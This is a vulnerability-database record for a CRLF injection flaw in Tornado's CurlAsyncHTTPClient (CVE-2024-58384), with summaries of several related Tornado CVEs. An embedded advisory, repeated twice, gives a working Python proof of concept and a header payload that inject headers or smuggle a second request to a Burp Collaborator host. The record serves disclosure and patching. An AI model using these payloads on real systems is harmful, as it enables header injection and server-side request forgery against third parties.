{"id":"CVE-2024-58384","aliases":["AZL-103104","CLSA-2026-1776386115","CLSA-2026-1790675116","DEBIAN-CVE-2024-58384","EUVD-2024-55766","GHSA-753j-mpmx-qq6g","GHSA-78cv-mqj4-43f7","GHSA-8423-8fgw-73vq","GHSA-pw6j-qg29-8w7f","GHSA-qf37-5gqv-7f3m","GHSA-qppv-j76h-2rpx","GHSA-w235-7p84-xx57","OESA-2026-4034","OESA-2026-4035","OESA-2026-4036","OESA-2026-4037","ROOT-APP-PYPI-GHSA-w235-7p84-xx57","SUSE-SU-2026:4403-1","SUSE-SU-2026:4404-1","UBUNTU-CVE-2024-58384"],"status":"published","title":"Tornado before 6.4.1 CRLF Injection via CurlAsyncHTTPClient","description":"Tornado before 6.4.1 contains a CRLF injection vulnerability in CurlAsyncHTTPClient that fails to reject carriage return and line feed characters in request headers. Attackers can inject CRLF sequences into header values to inject arbitrary headers or construct entirely new HTTP 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before 6.4.1 CRLF Injection via CurlAsyncHTTPClient","description":"Tornado before 6.4.1 contains a CRLF injection vulnerability in CurlAsyncHTTPClient that fails to reject carriage return and line feed characters in request headers. Attackers can inject CRLF sequences into header values to inject arbitrary headers or construct entirely new HTTP requests.","status":"published","published":"2026-09-15T15:17:53.619Z","modified":"2026-09-17T19:29:06.047Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N","level":"medium","assessor":"cna"},{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-113"],"updated_at":"2026-11-02T14:34:08.843708Z"}],"euvd":[{"id":"EUVD-2024-55766","description":"Tornado before 6.4.1 contains a CRLF injection vulnerability in CurlAsyncHTTPClient that fails to reject carriage return and line feed characters in request headers. Attackers can inject CRLF sequences into header values to inject arbitrary headers or construct entirely new HTTP requests.","status":"published","published":"2026-09-15T15:17:53Z","modified":"2026-09-17T19:29:06Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N","level":"medium"}],"updated_at":"2026-11-02T17:28:09.684322Z"}],"ghsa":[{"id":"GHSA-qf37-5gqv-7f3m","title":"Tornado before 6.4.1 contains a CRLF injection vulnerability in CurlAsyncHTTPClient that fails to...","description":"Tornado before 6.4.1 contains a CRLF injection vulnerability in CurlAsyncHTTPClient that fails to reject carriage return and line feed characters in request headers. Attackers can inject CRLF sequences into header values to inject arbitrary headers or construct entirely new HTTP requests.","status":"published","published":"2026-09-15T18:32:24Z","modified":"2026-09-15T18:32:25Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium"},{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-113"],"updated_at":"2026-11-02T15:11:54.134441Z"},{"id":"GHSA-w235-7p84-xx57","title":"Tornado has a CRLF injection in CurlAsyncHTTPClient headers","description":"### Summary\nTornado’s `curl_httpclient.CurlAsyncHTTPClient` class is vulnerable to CRLF (carriage return/line feed) injection in the request headers.\n\n### Details\nWhen an HTTP request is sent using `CurlAsyncHTTPClient`, Tornado does not reject carriage return (\\r) or line feed (\\n) characters in the request headers. As a result, if an application includes an attacker-controlled header value in a request sent using `CurlAsyncHTTPClient`, the attacker can inject arbitrary headers into the request or cause the application to send arbitrary requests to the specified server.\n\nThis behavior differs from that of the standard `AsyncHTTPClient` class, which does reject CRLF characters.\n\nThis issue appears to stem from libcurl's (as well as pycurl's) lack of validation for the [`HTTPHEADER`](https://curl.se/libcurl/c/CURLOPT_HTTPHEADER.html) option. libcurl’s documentation states:\n\n\u003e The headers included in the linked list must not be CRLF-terminated, because libcurl adds CRLF after each header item itself. Failure to comply with this might result in strange behavior. libcurl passes on the verbatim strings you give it, without any filter or other safe guards. That includes white space and control characters.\n\npycurl similarly appears to assume that the headers adhere to the correct format. Therefore, without any validation on Tornado’s part, header names and values are included verbatim in the request sent by `CurlAsyncHTTPClient`, including any control characters that have special meaning in HTTP semantics.\n\n### PoC\nThe issue can be reproduced using the following script:\n\n```python\nimport asyncio\n\nfrom tornado import httpclient\nfrom tornado import curl_httpclient\n\nasync def main():\n    http_client = curl_httpclient.CurlAsyncHTTPClient()\n\n    request = httpclient.HTTPRequest(\n        # Burp Collaborator payload\n        \"http://727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com/\",\n        method=\"POST\",\n        body=\"body\",\n        # Injected header using CRLF characters\n        headers={\"Foo\": \"Bar\\r\\nHeader: Injected\"}\n    )\n\n    response = await http_client.fetch(request)\n    print(response.body)\n\n    http_client.close()\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n```\n\nWhen the specified server receives the request, it contains the injected header (`Header: Injected`) on its own line:\n\n```http\nPOST / HTTP/1.1\nHost: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com\nUser-Agent: Mozilla/5.0 (compatible; pycurl)\nAccept: */*\nAccept-Encoding: gzip,deflate\nFoo: Bar\nHeader: Injected\nContent-Length: 4\nContent-Type: application/x-www-form-urlencoded\n\nbody\n```\n\nThe attacker can also construct entirely new requests using a payload with multiple CRLF sequences. For example, specifying a header value of `\\r\\n\\r\\nPOST /attacker-controlled-url HTTP/1.1\\r\\nHost: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com` results in the server receiving an additional, attacker-controlled request:\n\n```http\nPOST /attacker-controlled-url HTTP/1.1\nHost: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com\nContent-Length: 4\nContent-Type: application/x-www-form-urlencoded\n\nbody\n```\n\n### Impact\nApplications using the Tornado library to send HTTP requests with untrusted header data are affected. This issue may facilitate the exploitation of server-side request forgery (SSRF) vulnerabilities.","status":"published","published":"2024-06-06T21:46:31Z","modified":"2024-06-07T06:50:03Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-93"],"updated_at":"2026-11-02T14:37:53.703286Z"}],"nvd":[{"id":"CVE-2024-58384","description":"Tornado before 6.4.1 contains a CRLF injection vulnerability in CurlAsyncHTTPClient that fails to reject carriage return and line feed characters in request headers. Attackers can inject CRLF sequences into header values to inject arbitrary headers or construct entirely new HTTP requests.","status":"published","published":"2026-09-15T16:17:07.053Z","modified":"2026-09-28T14:10:00.213Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-113"],"updated_at":"2026-11-02T14:10:47.77313Z"}],"osv":[{"id":"CVE-2024-58384","title":"Tornado before 6.4.1 CRLF Injection via CurlAsyncHTTPClient","description":"Tornado before 6.4.1 contains a CRLF injection vulnerability in CurlAsyncHTTPClient that fails to reject carriage return and line feed characters in request headers. Attackers can inject CRLF sequences into header values to inject arbitrary headers or construct entirely new HTTP requests.","status":"published","published":"2026-09-15T15:17:53.619Z","modified":"2026-10-28T02:31:03.552819905Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N","level":"medium"}],"cwes":["CWE-113"],"updated_at":"2026-11-02T15:44:45.107804Z"},{"id":"DEBIAN-CVE-2024-58384","description":"Tornado before 6.4.1 contains a CRLF injection vulnerability in CurlAsyncHTTPClient that fails to reject carriage return and line feed characters in request headers. Attackers can inject CRLF sequences into header values to inject arbitrary headers or construct entirely new HTTP requests.","status":"published","published":"2026-09-15T16:17:07.053Z","modified":"2026-11-02T12:03:11.792607567Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium"}],"updated_at":"2026-11-02T15:45:44.747956Z"},{"id":"GHSA-w235-7p84-xx57","title":"Tornado has a CRLF injection in CurlAsyncHTTPClient headers","description":"### Summary\nTornado’s `curl_httpclient.CurlAsyncHTTPClient` class is vulnerable to CRLF (carriage return/line feed) injection in the request headers.\n\n### Details\nWhen an HTTP request is sent using `CurlAsyncHTTPClient`, Tornado does not reject carriage return (\\r) or line feed (\\n) characters in the request headers. As a result, if an application includes an attacker-controlled header value in a request sent using `CurlAsyncHTTPClient`, the attacker can inject arbitrary headers into the request or cause the application to send arbitrary requests to the specified server.\n\nThis behavior differs from that of the standard `AsyncHTTPClient` class, which does reject CRLF characters.\n\nThis issue appears to stem from libcurl's (as well as pycurl's) lack of validation for the [`HTTPHEADER`](https://curl.se/libcurl/c/CURLOPT_HTTPHEADER.html) option. libcurl’s documentation states:\n\n\u003e The headers included in the linked list must not be CRLF-terminated, because libcurl adds CRLF after each header item itself. Failure to comply with this might result in strange behavior. libcurl passes on the verbatim strings you give it, without any filter or other safe guards. That includes white space and control characters.\n\npycurl similarly appears to assume that the headers adhere to the correct format. Therefore, without any validation on Tornado’s part, header names and values are included verbatim in the request sent by `CurlAsyncHTTPClient`, including any control characters that have special meaning in HTTP semantics.\n\n### PoC\nThe issue can be reproduced using the following script:\n\n```python\nimport asyncio\n\nfrom tornado import httpclient\nfrom tornado import curl_httpclient\n\nasync def main():\n    http_client = curl_httpclient.CurlAsyncHTTPClient()\n\n    request = httpclient.HTTPRequest(\n        # Burp Collaborator payload\n        \"http://727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com/\",\n        method=\"POST\",\n        body=\"body\",\n        # Injected header using CRLF characters\n        headers={\"Foo\": \"Bar\\r\\nHeader: Injected\"}\n    )\n\n    response = await http_client.fetch(request)\n    print(response.body)\n\n    http_client.close()\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n```\n\nWhen the specified server receives the request, it contains the injected header (`Header: Injected`) on its own line:\n\n```http\nPOST / HTTP/1.1\nHost: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com\nUser-Agent: Mozilla/5.0 (compatible; pycurl)\nAccept: */*\nAccept-Encoding: gzip,deflate\nFoo: Bar\nHeader: Injected\nContent-Length: 4\nContent-Type: application/x-www-form-urlencoded\n\nbody\n```\n\nThe attacker can also construct entirely new requests using a payload with multiple CRLF sequences. For example, specifying a header value of `\\r\\n\\r\\nPOST /attacker-controlled-url HTTP/1.1\\r\\nHost: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com` results in the server receiving an additional, attacker-controlled request:\n\n```http\nPOST /attacker-controlled-url HTTP/1.1\nHost: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com\nContent-Length: 4\nContent-Type: application/x-www-form-urlencoded\n\nbody\n```\n\n### Impact\nApplications using the Tornado library to send HTTP requests with untrusted header data are affected. This issue may facilitate the exploitation of server-side request forgery (SSRF) vulnerabilities.","status":"published","published":"2024-06-06T21:46:31Z","modified":"2026-09-16T03:56:04.083176785Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-93"],"updated_at":"2026-11-02T15:46:58.04805Z"},{"id":"OESA-2026-4034","title":"python-tornado security update","description":"Tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed. By using non-blocking network I/O, Tornado can scale to tens of thousands of open connections, making it ideal for long polling, WebSockets, and other applications that require a long-lived connection to each user.\r\n\r\nSecurity Fix(es):\n\nTornado before 6.3.3 contains an HTTP request smuggling vulnerability due to improper parsing of Content-Length headers accepting non-standard characters. Attackers can send crafted HTTP requests with these characters to bypass proxy validation and smuggle requests when deployed behind certain proxies.(CVE-2023-54397)\n\nTornado before 6.4.1 ignores duplicate Transfer-Encoding: chunked headers, treating requests as having no message body and parsing the chunked body as a subsequent request. Attackers can exploit this inconsistency when Tornado is deployed behind proxies to perform HTTP request smuggling, enabling access control bypass, cache poisoning, or connection desynchronization.(CVE-2024-14029)\n\nTornado before 6.4.1 contains a CRLF injection vulnerability in CurlAsyncHTTPClient that fails to reject carriage return and line feed characters in request headers. Attackers can inject CRLF sequences into header values to inject arbitrary headers or construct entirely new HTTP requests.(CVE-2024-58384)\n\nTornado before 6.5.8 contains a memory amplification vulnerability in parse_multipart_form_data that splits multipart data before validating the max_parts limit. Attackers can send crafted multipart requests with many parts to create large transient lists, exhausting server memory and causing denial of service.(CVE-2026-91990)\n\nTornado before 6.5.8 contains an incomplete fix for cookie attribute injection that allows attackers to inject arbitrary cookie attributes by passing capitalized or legacy keyword arguments to set_cookie. Attackers can embed semicolon-delimited data in capitalized parameters like Domain, Path, or SameSite to bypass validation and modify cookie security attributes.(CVE-2026-91991)\n\nTornado before 6.5.7 contains a credential leak vulnerability in CurlAsyncHTTPClient where pycurl handles are reused across requests without proper state clearing. Attackers can obtain sensitive credentials by issuing requests through the same client instance, allowing TLS certificates or proxy authentication to persist across unintended requests.(CVE-2026-91992)","status":"published","published":"2026-09-25T01:27:31Z","modified":"2026-09-25T01:45:07.403332183Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T15:52:47.643553Z"},{"id":"OESA-2026-4035","title":"python-tornado security update","description":"Tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed. By using non-blocking network I/O, Tornado can scale to tens of thousands of open connections, making it ideal for long polling, WebSockets, and other applications that require a long-lived connection to each user.\r\n\r\nSecurity Fix(es):\n\nTornado before 6.3.3 contains an HTTP request smuggling vulnerability due to improper parsing of Content-Length headers accepting non-standard characters. Attackers can send crafted HTTP requests with these characters to bypass proxy validation and smuggle requests when deployed behind certain proxies.(CVE-2023-54397)\n\nTornado before 6.4.1 ignores duplicate Transfer-Encoding: chunked headers, treating requests as having no message body and parsing the chunked body as a subsequent request. Attackers can exploit this inconsistency when Tornado is deployed behind proxies to perform HTTP request smuggling, enabling access control bypass, cache poisoning, or connection desynchronization.(CVE-2024-14029)\n\nTornado before 6.4.1 contains a CRLF injection vulnerability in CurlAsyncHTTPClient that fails to reject carriage return and line feed characters in request headers. Attackers can inject CRLF sequences into header values to inject arbitrary headers or construct entirely new HTTP requests.(CVE-2024-58384)\n\nTornado before 6.5.8 contains a memory amplification vulnerability in parse_multipart_form_data that splits multipart data before validating the max_parts limit. Attackers can send crafted multipart requests with many parts to create large transient lists, exhausting server memory and causing denial of service.(CVE-2026-91990)\n\nTornado before 6.5.8 contains an incomplete fix for cookie attribute injection that allows attackers to inject arbitrary cookie attributes by passing capitalized or legacy keyword arguments to set_cookie. Attackers can embed semicolon-delimited data in capitalized parameters like Domain, Path, or SameSite to bypass validation and modify cookie security attributes.(CVE-2026-91991)\n\nTornado before 6.5.7 contains a credential leak vulnerability in CurlAsyncHTTPClient where pycurl handles are reused across requests without proper state clearing. Attackers can obtain sensitive credentials by issuing requests through the same client instance, allowing TLS certificates or proxy authentication to persist across unintended requests.(CVE-2026-91992)","status":"published","published":"2026-09-25T01:27:32Z","modified":"2026-09-25T01:45:03.631271784Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T15:52:47.643553Z"},{"id":"OESA-2026-4036","title":"python-tornado security update","description":"Tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed. By using non-blocking network I/O, Tornado can scale to tens of thousands of open connections, making it ideal for long polling, WebSockets, and other applications that require a long-lived connection to each user.\r\n\r\nSecurity Fix(es):\n\nTornado before 6.3.3 contains an HTTP request smuggling vulnerability due to improper parsing of Content-Length headers accepting non-standard characters. Attackers can send crafted HTTP requests with these characters to bypass proxy validation and smuggle requests when deployed behind certain proxies.(CVE-2023-54397)\n\nTornado before 6.4.1 ignores duplicate Transfer-Encoding: chunked headers, treating requests as having no message body and parsing the chunked body as a subsequent request. Attackers can exploit this inconsistency when Tornado is deployed behind proxies to perform HTTP request smuggling, enabling access control bypass, cache poisoning, or connection desynchronization.(CVE-2024-14029)\n\nTornado before 6.4.1 contains a CRLF injection vulnerability in CurlAsyncHTTPClient that fails to reject carriage return and line feed characters in request headers. Attackers can inject CRLF sequences into header values to inject arbitrary headers or construct entirely new HTTP requests.(CVE-2024-58384)\n\nTornado before 6.5.8 contains a memory amplification vulnerability in parse_multipart_form_data that splits multipart data before validating the max_parts limit. Attackers can send crafted multipart requests with many parts to create large transient lists, exhausting server memory and causing denial of service.(CVE-2026-91990)\n\nTornado before 6.5.8 contains an incomplete fix for cookie attribute injection that allows attackers to inject arbitrary cookie attributes by passing capitalized or legacy keyword arguments to set_cookie. Attackers can embed semicolon-delimited data in capitalized parameters like Domain, Path, or SameSite to bypass validation and modify cookie security attributes.(CVE-2026-91991)\n\nTornado before 6.5.7 contains a credential leak vulnerability in CurlAsyncHTTPClient where pycurl handles are reused across requests without proper state clearing. Attackers can obtain sensitive credentials by issuing requests through the same client instance, allowing TLS certificates or proxy authentication to persist across unintended requests.(CVE-2026-91992)","status":"published","published":"2026-09-25T01:27:32Z","modified":"2026-09-25T01:45:03.626072202Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T15:52:47.643553Z"},{"id":"OESA-2026-4037","title":"python-tornado security update","description":"Tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed. By using non-blocking network I/O, Tornado can scale to tens of thousands of open connections, making it ideal for long polling, WebSockets, and other applications that require a long-lived connection to each user.\r\n\r\nSecurity Fix(es):\n\nTornado before 6.3.3 contains an HTTP request smuggling vulnerability due to improper parsing of Content-Length headers accepting non-standard characters. Attackers can send crafted HTTP requests with these characters to bypass proxy validation and smuggle requests when deployed behind certain proxies.(CVE-2023-54397)\n\nTornado before 6.4.1 ignores duplicate Transfer-Encoding: chunked headers, treating requests as having no message body and parsing the chunked body as a subsequent request. Attackers can exploit this inconsistency when Tornado is deployed behind proxies to perform HTTP request smuggling, enabling access control bypass, cache poisoning, or connection desynchronization.(CVE-2024-14029)\n\nTornado before 6.4.1 contains a CRLF injection vulnerability in CurlAsyncHTTPClient that fails to reject carriage return and line feed characters in request headers. Attackers can inject CRLF sequences into header values to inject arbitrary headers or construct entirely new HTTP requests.(CVE-2024-58384)\n\nWhen SimpleAsyncHTTPClient follows a 3xx redirect, it shallow-copies the original HTTPRequest, rewrites the URL, decrements max_redirects, and removes only the Host header. It does not clear Authorization, auth_username, auth_password, or auth_mode when the redirect target changes origin. As a result, credentials intended for one origin can be forwarded to a different origin when follow_redirects=True, which is the default. Beginning in Tornado 6.5.6, SimpleAsyncHTTPClient matches the default behavior of libcurl (and therefore CurlAsyncHTTPClient): When a redirect changes the scheme, host, or port of the url, the Authorization and Cookie headers will be removed when following the redirect.(CVE-2026-49853)\n\nSummaryTornado\u0026apos;s optional native extension `tornado.speedups` implements `websocket_mask` without validating that the `mask` argument is exactly four bytes long. The C function reads four bytes from `mask` unconditionally, even when Python passes a shorter byte string. This can read beyond the provided buffer, exposing up to 3 bytes of uninitialized memory.The behavior is reachable from Tornado\u0026apos;s XSRF token decoder when `xsrf_cookies=True` and the native extension is active. ### MitigationsThis bug is fixed in Tornado 6.5.6. Prior to upgrading to this version, setting the environment variable TORNADO_EXTENSION=0 will disable the vulnerable code (at the expense of reducing websocket performance).(CVE-2026-49854)\n\nTornado\u0026apos;s gzip decompression routines work in limited-size chunks, but have no overall limit for the total size of decompressed chunks that they will accumulate (There has always been a limit for the total *compressed* size). This allows a malicious server to consume effectively unlimited amounts of memory if it is accessed via SimpleAsyncHTTPClient in its default configuration. HTTPServer is not affected in its default configuration, but it is if decompress_request=True is set. This bug is fixed in Tornado 6.5.6. max_body_size is now checked both for the compressed and cumulative decompressed size of the response.(CVE-2026-49855)\n\nTornado is a Python web framework and asynchronous networking library. Prior to 6.5.8, Tornado parses application/x-www-form-urlencoded request bodies with urllib.parse.parse_qs in tornado/escape.py without passing max_num_fields. RequestHandler._execute in tornado/web.py parses the body before handler dispatch through HTTPServerRequest._parse_body and parse_body_arguments in tornado/httputil.py, so an unauthenticated request body containing millions of separator-delimited fields can synchronously stall the single-threaded event loop and delay every connection. The body is bounded only by max_buffer_size, which defaults to 104857600 bytes. This issue is fixed in version 6.5.8.(CVE-2026-82397)\n\nTornado before 6.5.8 contains a memory amplification vulnerability in parse_multipart_form_data that splits multipart data before validating the max_parts limit. Attackers can send crafted multipart requests with many parts to create large transient lists, exhausting server memory and causing denial of service.(CVE-2026-91990)\n\nTornado before 6.5.8 contains an incomplete fix for cookie attribute injection that allows attackers to inject arbitrary cookie attributes by passing capitalized or legacy keyword arguments to set_cookie. Attackers can embed semicolon-delimited data in capitalized parameters like Domain, Path, or SameSite to bypass validation and modify cookie security attributes.(CVE-2026-91991)\n\nTornado before 6.5.7 contains a credential leak vulnerability in CurlAsyncHTTPClient where pycurl handles are reused across requests without proper state clearing. Attackers can obtain sensitive credentials by issuing requests through the same client instance, allowing TLS certificates or proxy authentication to persist across unintended requests.(CVE-2026-91992)","status":"published","published":"2026-09-25T01:27:33Z","modified":"2026-09-25T01:45:04.649809311Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:52:47.643553Z"},{"id":"ROOT-APP-PYPI-GHSA-w235-7p84-xx57","title":"GHSA-w235-7p84-xx57 in tornado - Patched by Root","description":"Root has patched GHSA-w235-7p84-xx57 in the tornado package for Root:PyPI. Multiple fixed versions available.","status":"published","published":"2026-10-12T08:34:51Z","modified":"2026-10-12T09:15:05.676784916Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:53:28.259095Z"},{"id":"UBUNTU-CVE-2024-58384","description":"Tornado before 6.4.1 contains a CRLF injection vulnerability in CurlAsyncHTTPClient that fails to reject carriage return and line feed characters in request headers. Attackers can inject CRLF sequences into header values to inject arbitrary headers or construct entirely new HTTP requests.","status":"published","published":"2026-09-15T16:17:00Z","modified":"2026-11-06T20:00:36.337992733Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N","level":"medium"},{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N","level":"medium"}],"updated_at":"2026-11-06T20:07:08.647364Z"},{"id":"AZL-103104","title":"CVE-2024-58384 affecting package python-tornado 6.3.3-11","description":"Tornado before 6.4.1 contains a CRLF injection vulnerability in CurlAsyncHTTPClient that fails to reject carriage return and line feed characters in request headers. Attackers can inject CRLF sequences into header values to inject arbitrary headers or construct entirely new HTTP requests.","status":"published","published":"2026-09-15T16:17:07Z","modified":"2026-11-05T05:36:30Z","updated_at":"2026-11-05T16:41:17.326541Z"},{"id":"CLSA-2026-1776386115","title":"TuxCare security update for tornado (6 CVEs)","description":"TuxCare rebuilt tornado to address 6 CVEs. Fixed in 6.1.0.post2+tuxcare.","status":"published","published":"2026-08-04T14:52:26Z","modified":"2026-10-15T09:48:04.993235199Z","updated_at":"2026-11-02T15:43:44.009773Z"},{"id":"CLSA-2026-1790675116","title":"TuxCare security update for tornado (15 CVEs)","description":"TuxCare rebuilt tornado to address 15 CVEs. Fixed in 5.1.1.post4+tuxcare.","status":"published","published":"2026-09-29T09:45:16Z","modified":"2026-10-15T09:48:02.299807474Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"SUSE-SU-2026:4403-1","title":"Security update for python-tornado6","description":"This update for python-tornado6 fixes the following issues:\n\n- CVE-2023-54397: Tornado before 6.3.3 contains an HTTP request smuggling vulnerability due to improper parsing of\n  Content-Length headers accepting non-standard characters. At (bsc#1280689).\n- CVE-2024-58384: CRLF injection in CurlAsyncHTTPClient headers (bsc#1281059).\n- CVE-2026-91990: splitting of multipart data before validation of the `max_parts` limit allows for resource exhaustion\n  and a denial of service (bsc#1281439).\n- CVE-2026-91991: incomplete fix for cookie attribute injection allows for cookie validation bypass via semicolon-\n  delimited data in capitalized parameters (bsc#1281440).\n","status":"published","published":"2026-09-30T11:52:28Z","modified":"2026-10-01T11:15:05.093305153Z","updated_at":"2026-11-02T15:54:05.838224Z"},{"id":"SUSE-SU-2026:4404-1","title":"Security update for python-tornado","description":"This update for python-tornado fixes the following issues:\n\n- CVE-2023-54397: Tornado before 6.3.3 contains an HTTP request smuggling vulnerability due to improper parsing of\n  Content-Length headers accepting non-standard characters. At (bsc#1280689).\n- CVE-2024-58384: CRLF injection in CurlAsyncHTTPClient headers (bsc#1281059).\n- CVE-2026-91990: splitting of multipart data before validation of the `max_parts` limit allows for resource exhaustion\n  and a denial of service (bsc#1281439).\n- CVE-2026-91991: incomplete fix for cookie attribute injection allows for cookie validation bypass via semicolon-\n  delimited data in capitalized parameters (bsc#1281440).\n","status":"published","published":"2026-09-30T11:54:12Z","modified":"2026-10-01T11:15:05.107793217Z","updated_at":"2026-11-02T15:54:05.838224Z"}]}}